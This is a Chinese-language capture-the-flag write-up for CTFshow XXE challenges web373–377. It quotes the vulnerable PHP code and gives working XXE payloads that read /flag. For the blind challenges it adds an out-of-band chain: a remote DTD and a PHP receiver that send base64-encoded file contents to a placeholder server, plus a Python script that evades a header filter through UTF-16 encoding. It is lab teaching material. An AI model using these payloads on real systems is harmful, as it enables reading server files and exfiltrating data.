CTFshow_Web_XXE——web373~377

参考文章

一篇文章带你深入理解漏洞之 XXE 漏洞

未知攻焉知防——XXE漏洞攻防

题解

web373

常规XXE

flag的路径是/flag

// 允许加载外部实体
libxml_disable_entity_loader(false);
// xml文件来源于数据流
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
  	// 加载xml实体，参数为替代实体、加载外部子集
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
  	// 把 DOM 节点转换为 SimpleXMLElement 对象
    $creds = simplexml_import_dom($dom);
  	// 节点嵌套
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}

burpsuite发包，不能用hackbar

[POST]Payload:

<?xml version="1.0"?>
<!DOCTYPE payload [
<!ELEMENT payload ANY>
<!ENTITY xxe SYSTEM "file:///flag">
]>
<creds>
<ctfshow>&xxe;</ctfshow>
</creds>

web374~376

区别在于没有回显，要把读取到的内容也就是flag传到远程服务器查看

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}

后几题把xml头给过滤了

if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
    die('error');
}

这里给出通杀方法：

在服务器上新建dtd文件，将读取到的flag发送到php

以下的http://xxx/指代服务器IP，根据自己情况替换

# pd.dtd
<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://xxx/xxe.php?q=%file;'>"
>
%all;

新建用于接收的php

# xxe.php
<?php
highlight_file(__FILE__);
$xxe = base64_decode($_GET['q']);
$txt = 'flag.txt';
file_put_contents($txt,$xxe,FILE_APPEND)
?>

burpsuite发包，后几题过滤了xml头，其实可以省略的

[POST]Payload:

<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://xxx/pd.dtd">
%dtd;
%send;
] >

要求从公网能访问dtd和php文件

如果运行正常，flag已经写入了txt

web377

也是要在远程服务器配置dtd，同上

python完成post，记得设定编码方式

import requests

url = 'http://xxx'
data = """<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://xxx/test.dtd">
%dtd;
%send;
] >"""

requests.post(url ,data=data.encode('utf-16'))
print("done!")

flag在服务器的flag.txt里面

完